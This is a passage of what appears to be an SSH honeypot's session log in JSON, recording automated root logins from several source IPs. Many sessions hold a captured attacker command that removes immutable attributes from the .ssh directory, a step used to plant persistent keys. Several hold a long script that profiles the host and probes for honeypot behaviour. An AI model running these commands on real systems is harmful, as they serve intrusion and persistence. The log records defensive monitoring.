  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:13:50.818086+00:00",
  "ended_at": "2026-08-27T11:13:53.119868+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ce1b0fb-5f53-4d10-8e3e-dbd643796021",
  "name": "spirited-dewy-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58878,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:12:44.677709+00:00",
  "ended_at": "2026-08-27T11:12:45.956673+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "bc08c389-0b0b-4a0c-ba5c-267a974b59cd",
  "name": "marine-solemn-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58902,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:12:27.626020+00:00",
  "ended_at": "2026-08-27T11:12:28.533211+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b2de2d6-4bc6-4bb3-a551-2b3ef1f221f4",
  "name": "serene-woven-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 59536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:11:27.267098+00:00",
  "ended_at": "2026-08-27T11:11:28.802420+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "94ef0a1b-07e9-4edd-8e50-d9ec97a45efa",
  "name": "subtle-vivid-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59574,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:11:05.667133+00:00",
  "ended_at": "2026-08-27T11:11:06.746650+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "952a6526-a6a7-456f-9045-e3ed0686f432",
  "name": "sterling-blithe-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 48948,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:08:37.479205+00:00",
  "ended_at": "2026-08-27T11:08:38.769725+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2148
 },
 {
  "id": "61cc2cb0-cd3f-4d54-8b2d-6b20b234ad6c",
  "name": "hearty-brazen-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 48970,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:08:15.104135+00:00",
  "ended_at": "2026-08-27T11:08:16.405636+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bd93430-fa3f-493c-8f5e-ffa7719fcc05",
  "name": "sunlit-orderly-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58830,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:07:12.995333+00:00",
  "ended_at": "2026-08-27T11:07:13.977959+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2148
 },
 {
  "id": "ca3df42c-69c6-4a20-b9b8-9c9549da6a29",
  "name": "silent-oaken-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58846,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:06:55.182310+00:00",
  "ended_at": "2026-08-27T11:06:56.522048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46d56f95-b821-4afb-8d34-210d96db9b95",
  "name": "wandering-bitter-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55534,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:03:57.440172+00:00",
  "ended_at": "2026-08-27T11:03:58.593009+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "b6aa8822-8e9a-476c-80ce-ec99ec61a300",
  "name": "drifting-eager-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 48602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:03:46.210702+00:00",
  "ended_at": "2026-08-27T11:03:48.144430+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f489023-1027-4c61-b7d2-92cb12f9752c",
  "name": "subtle-peaty-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 53066,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 743,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:59:04.382355+00:00",
  "ended_at": "2026-08-27T10:59:05.668772+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "172d2a42-e7c2-4077-938a-d3bbf7df5e83",
  "name": "breezy-mellow-coyote",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 53078,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:58:46.483136+00:00",
  "ended_at": "2026-08-27T10:58:47.941713+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0511a491-8962-4b6e-9d52-4b74bded357f",
  "name": "deft-woven-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 36854,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:57:40.362900+00:00",
  "ended_at": "2026-08-27T10:57:41.025107+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2093
 },
 {
  "id": "d1f6f777-d07e-49f1-990b-bb4f3eaa351f",
  "name": "creaky-gritty-lemur",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 36870,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:57:33.586256+00:00",
  "ended_at": "2026-08-27T10:57:34.871119+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a98b8c64-f7c7-437b-8233-3196f219467d",
  "name": "sterling-lucid-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 46284,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 755,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:53:52.986704+00:00",
  "ended_at": "2026-08-27T10:53:53.797790+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "fd7df18a-de75-48ff-a657-85afc4bf2dd7",
  "name": "marbled-freckled-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 32834,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:53:38.682349+00:00",
  "ended_at": "2026-08-27T10:53:39.801591+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38cad8cf-4b71-4f94-8859-8749f1eebfd7",
  "name": "hidden-distant-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39952,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:51:41.817474+00:00",
  "ended_at": "2026-08-27T10:51:42.968003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a6790ac-508c-4102-83bf-2c045cf2d597",
  "name": "cunning-fickle-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58690,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:47:37.292621+00:00",
  "ended_at": "2026-08-27T10:47:38.717746+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e7628936-8342-404b-a8f3-6d9306284970",
  "name": "seaward-crystal-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.213.238.91",
  "src_port": 37396,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 799,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:45:58.236494+00:00",
  "ended_at": "2026-08-27T10:45:58.984026+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "46ebfe8d-ec08-43f1-bb76-a35fbc3cc89b",
  "name": "gnarled-twilight-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.213.238.91",
  "src_port": 38438,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:45:42.702703+00:00",
  "ended_at": "2026-08-27T10:45:44.298754+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "daa0fcd3-e04d-4064-bb73-d0475bf925d2",
  "name": "ancient-freckled-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 45796,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:29:58.881624+00:00",
  "ended_at": "2026-08-27T09:29:59.236868+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "fd8b64b2-2e3b-4315-b936-7322e44271e3",
  "name": "bronzed-breezy-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 42706,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:28:08.609116+00:00",
  "ended_at": "2026-08-27T09:28:08.729439+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "034f276c-062c-4aa8-ac31-f5475fb5a416",
  "name": "burly-indigo-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 39588,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T09:26:21.101729+00:00",
  "ended_at": "2026-08-27T09:26:21.246360+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "48321147-66eb-4acf-aaec-1decac3c9945",
  "name": "cunning-muted-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 36468,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case 